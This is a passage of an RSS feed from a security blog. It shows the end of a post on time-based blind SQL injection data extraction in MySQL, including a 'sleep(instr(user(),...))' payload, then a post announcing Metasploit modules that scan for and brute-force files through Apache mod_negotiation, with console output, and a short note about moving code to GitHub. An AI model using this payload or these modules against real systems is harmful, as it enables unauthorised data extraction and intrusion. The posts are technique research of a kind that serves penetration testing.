<p>So&#8230;this actually means that to be able to extract data we don&#8217;t really need all the data do we? YES there are exceptions to the rule like hashes and the like. So all we need is to get the first and last letter and then just get random letters in between. You can use letter frequency analysis to make sure your request for a letter has a high probability of being in there, for example using the following wikipedia page:</p>
<p><a title="letter frequency" href="http://en.wikipedia.org/wiki/Letter_frequency" target="_blank">http://en.wikipedia.org/wiki/Letter_frequency</a></p>
<p>So after getting the first and last letter of the data you are after, you can use the following query to get the intermediate letters:</p>
<p><pre class="brush: plain;">

sleep(instr(user(),&quot;o&quot;))

</pre></p>
<p>If that&#8217;s too fast because of the positions being returned are in the range of 0-10, you can always add a constant or wrap it with ascii(). I won&#8217;t be coding a tool or POC for this, since I think this is just a technique that should be included in already available tools like sqlmap, sqlninja and the like.</p>
<p>Hope someone finds this useful.</p>
<br />Filed under: <a href='http://diablohorn.wordpress.com/category/midnight-thoughts/'>midnight thoughts</a>, <a href='http://diablohorn.wordpress.com/category/security/'>security</a> Tagged: <a href='http://diablohorn.wordpress.com/tag/blind/'>blind</a>, <a href='http://diablohorn.wordpress.com/tag/database/'>database</a>, <a href='http://diablohorn.wordpress.com/tag/injection/'>injection</a>, <a href='http://diablohorn.wordpress.com/tag/mysql/'>mysql</a>, <a href='http://diablohorn.wordpress.com/tag/sleep/'>sleep</a>, <a href='http://diablohorn.wordpress.com/tag/slow/'>slow</a>, <a href='http://diablohorn.wordpress.com/tag/sql/'>sql</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/diablohorn.wordpress.com/554/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/diablohorn.wordpress.com/554/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/diablohorn.wordpress.com/554/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/diablohorn.wordpress.com/554/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/diablohorn.wordpress.com/554/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/diablohorn.wordpress.com/554/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/diablohorn.wordpress.com/554/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/diablohorn.wordpress.com/554/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/diablohorn.wordpress.com/554/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/diablohorn.wordpress.com/554/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/diablohorn.wordpress.com/554/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/diablohorn.wordpress.com/554/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/diablohorn.wordpress.com/554/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/diablohorn.wordpress.com/554/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=diablohorn.wordpress.com&amp;blog=5319799&amp;post=554&amp;subd=diablohorn&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://diablohorn.wordpress.com/2011/07/08/efficient-but-slow-blind-sql-injection-data-extraction/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">diablohorn</media:title>
		</media:content>
	</item>
		<item>
		<title>mod_negotiation metasploit aux modules</title>
		<link>http://diablohorn.wordpress.com/2010/12/07/mod_negotiation-metasploit-aux-modules/</link>
		<comments>http://diablohorn.wordpress.com/2010/12/07/mod_negotiation-metasploit-aux-modules/#comments</comments>
		<pubDate>Tue, 07 Dec 2010 22:25:11 +0000</pubDate>
		<dc:creator>diablohorn</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[mod_negotiation]]></category>

		<guid isPermaLink="false">http://diablohorn.wordpress.com/?p=549</guid>
		<description><![CDATA[A while ago I wrote about more efficient brute forcing if mod_negotiation is enabled. Also released a python script to automate this. Well now I&#8217;ve written some metasploit auxiliary modules that perform the same task. One module can be used to scan ranges for web servers that have it enabled, the other module can be [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=diablohorn.wordpress.com&amp;blog=5319799&amp;post=549&amp;subd=diablohorn&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>A while ago I wrote about <a href="http://diablohorn.wordpress.com/2009/07/16/bit-more-efficient-brute-forcing/" target="_blank">more efficient brute forcing</a> if mod_negotiation is enabled. Also released a python script to automate this. Well now I&#8217;ve written some <a href="http://www.metasploit.com/" target="_blank">metasploit</a> auxiliary modules that perform the same task. One module can be used to scan ranges for web servers that have it enabled, the other module can be used to actually brute force files. You can find them on github:</p>
<blockquote><p><a href="https://github.com/DiabloHorn/DiabloHorn/tree/5e495eb8553001946f4f98a79bd9542812de5b3e/metasploit/mod_negotiation" target="_blank">https://github.com/DiabloHorn/DiabloHorn/tree/5e495eb8553001946f4f98a79bd9542812de5b3e/metasploit/mod_negotiation</a></p></blockquote>
<p>I&#8217;ve also made a redmine ticket on metasploit and submitted them, if you are lazy and just want to wait until metasploit includes them. Assuming they do, after all it&#8217;s my first attempt at contributing to metasploit and my code might not be up to the standards.</p>
<blockquote><p><a href="https://www.metasploit.com/redmine/issues/3257" target="_blank">https://www.metasploit.com/redmine/issues/3257</a></p></blockquote>
<p>For the ones paying attention to every detail, yes I fucked up and made a typo while submitting the ticket :)</p>
<p>If you want to use them you can place them in the following directory:</p>
<blockquote><p>[metasploit-root]/modules/auxiliary/scanner/http/</p></blockquote>
<p>After you&#8217;ve place them there, just fire up metasploit and perform a search for negotiation, they should show up in the results. If something goes wrong, read the code I didn&#8217;t do a lot of error checking. If you are wondering why I choose to make modules for the mod_negotiation issue&#8230;like always I wanted to learn something new and I was familiar with it so was more confident I could implement them. If it all went well it should all look like the following:</p>
<p><span id="more-549"></span><strong>Search results</strong></p>
<blockquote><p>msf &gt; search negotiation<br />
[*] Searching loaded modules for pattern &#8216;negotiation&#8217;&#8230;</p>
<p>Auxiliary<br />
=========</p>
<p>Name                                  Disclosure Date  Rank    Description<br />
&#8212;-                                  &#8212;&#8212;&#8212;&#8212;&#8212;  &#8212;-    &#8212;&#8212;&#8212;&#8211;<br />
scanner/http/mod_negotiation_brute                     normal  HTTP Mod Negotiation Bruter<br />
scanner/http/mod_negotiation_scanner                   normal  HTTP Mod Negotiation Scanner</p></blockquote>
<p><strong>Scanner information</strong></p>
<blockquote><p>msf &gt; info scanner/http/mod_negotiation_scanner</p>
<p>Name: HTTP Mod Negotiation Scanner<br />
Version: 0.1<br />
License: BSD License<br />
Rank: Normal</p>
<p>Provided by:<br />
diablohorn &lt;diablohorn@gmail.com&gt;</p>
<p>Basic options:<br />
Name      Current Setting  Required  Description<br />
&#8212;-      &#8212;&#8212;&#8212;&#8212;&#8212;  &#8212;&#8212;&#8211;  &#8212;&#8212;&#8212;&#8211;<br />
FILENAME  index            yes       Filename to use as a test<br />
PATH      /                yes       The path to detect mod_negotiation<br />
Proxies                    no        Use a proxy chain<br />
RHOSTS                     yes       The target address range or CIDR identifier<br />
RPORT     80               yes       The target port<br />
THREADS   1                yes       The number of concurrent threads<br />
VHOST                      no        HTTP server virtual host</p>
<p>Description:<br />
This module scans the webserver of the given host(s) for the<br />
existence of mod_negotiate. Returns the ip if the host is<br />
vulnerable.</p></blockquote>
<p><strong>Bruter information</strong></p>
<blockquote><p>msf &gt; info scanner/http/mod_negotiation_brute</p>
<p>Name: HTTP Mod Negotiation Bruter<br />
Version: 0.1<br />
License: BSD License<br />
Rank: Normal</p>
<p>Provided by:<br />
diablohorn &lt;diablohorn@gmail.com&gt;</p>
<p>Basic options:<br />
Name      Current Setting                                 Required  Description<br />
&#8212;-      &#8212;&#8212;&#8212;&#8212;&#8212;                                 &#8212;&#8212;&#8211;  &#8212;&#8212;&#8212;&#8211;<br />
FILEPATH  /opt/metasploit3/msf3/data/wmap/wmap_files.txt  yes       path to file with file names<br />
PATH      /                                               yes       The path to detect mod_negotiation<br />
Proxies                                                   no        Use a proxy chain<br />
RHOSTS                                                    yes       The target address range or CIDR identifier<br />
RPORT     80                                              yes       The target port<br />
THREADS   1                                               yes       The number of concurrent threads<br />
VHOST                                                     no        HTTP server virtual host</p>
<p>Description:<br />
This module performs a brute force attack using mod_negotiation on<br />
the given host(s). Returns the ip and the found file if the host is<br />
vulnerable.</p></blockquote>
<br />Filed under: <a href='http://diablohorn.wordpress.com/category/security/'>security</a> Tagged: <a href='http://diablohorn.wordpress.com/tag/apache/'>apache</a>, <a href='http://diablohorn.wordpress.com/tag/metasploit/'>metasploit</a>, <a href='http://diablohorn.wordpress.com/tag/mod_negotiation/'>mod_negotiation</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/diablohorn.wordpress.com/549/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/diablohorn.wordpress.com/549/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/diablohorn.wordpress.com/549/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/diablohorn.wordpress.com/549/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/diablohorn.wordpress.com/549/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/diablohorn.wordpress.com/549/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/diablohorn.wordpress.com/549/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/diablohorn.wordpress.com/549/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/diablohorn.wordpress.com/549/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/diablohorn.wordpress.com/549/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/diablohorn.wordpress.com/549/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/diablohorn.wordpress.com/549/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/diablohorn.wordpress.com/549/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/diablohorn.wordpress.com/549/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=diablohorn.wordpress.com&amp;blog=5319799&amp;post=549&amp;subd=diablohorn&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://diablohorn.wordpress.com/2010/12/07/mod_negotiation-metasploit-aux-modules/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">diablohorn</media:title>
		</media:content>
	</item>
		<item>
		<title>Moving source codes to github</title>
		<link>http://diablohorn.wordpress.com/2010/12/06/moving-source-codes-to-github/</link>
		<comments>http://diablohorn.wordpress.com/2010/12/06/moving-source-codes-to-github/#comments</comments>
		<pubDate>Mon, 06 Dec 2010 22:36:11 +0000</pubDate>
		<dc:creator>diablohorn</dc:creator>
				<category><![CDATA[general]]></category>
		<category><![CDATA[git]]></category>
		<category><![CDATA[github]]></category>
		<category><![CDATA[source code]]></category>

		<guid isPermaLink="false">http://diablohorn.wordpress.com/?p=544</guid>
		<description><![CDATA[Well after a long while of yelling and getting frustrated with my own development process of thoughts, projects and midnight thoughts I&#8217;ve decided to move over to github. This will (hopefully) also make it easier to get the source codes for my projects/general messing around things. You can find them over here: https://github.com/DiabloHorn/DiabloHorn Please bare [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=diablohorn.wordpress.com&amp;blog=5319799&amp;post=544&amp;subd=diablohorn&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Well after a long while of yelling and getting frustrated with my own development process of thoughts, projects and midnight thoughts I&#8217;ve decided to move over to github. This will (hopefully) also make it easier to get the source codes for my projects/general messing around things. You can find them over here:</p>
<blockquote><p><a title="Projects &amp; POCs" href="https://github.com/DiabloHorn/DiabloHorn" target="_blank">https://github.com/DiabloHorn/DiabloHorn</a></p></blockquote>
<p>Please bare with me, since I&#8217;ve dived right into it&#8230;without really having any prior knowledge. It worked when I had to learn how to swim&#8230;so let&#8217;s just hope it works the same way to learn about git and github.</p>
<br />Filed under: <a href='http://diablohorn.wordpress.com/category/general/'>general</a> Tagged: <a href='http://diablohorn.wordpress.com/tag/git/'>git</a>, <a href='http://diablohorn.wordpress.com/tag/github/'>github</a>, <a href='http://diablohorn.wordpress.com/tag/source-code/'>source code</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/diablohorn.wordpress.com/544/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/diablohorn.wordpress.com/544/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/diablohorn.wordpress.com/544/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/diablohorn.wordpress.com/544/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/diablohorn.wordpress.com/544/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/diablohorn.wordpress.com/544/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/diablohorn.wordpress.com/544/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/diablohorn.wordpress.com/544/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/diablohorn.wordpress.com/544/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/diablohorn.wordpress.com/544/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/diablohorn.wordpress.com/544/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/diablohorn.wordpress.com/544/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/diablohorn.wordpress.com/544/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/diablohorn.wordpress.com/544/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=diablohorn.wordpress.com&amp;blog=5319799&amp;post=544&amp;subd=diablohorn&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://diablohorn.wordpress.com/2010/12/06/moving-source-codes-to-github/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">diablohorn</media:title>
		</media:content>
	</item>
	</channel>
</rss>
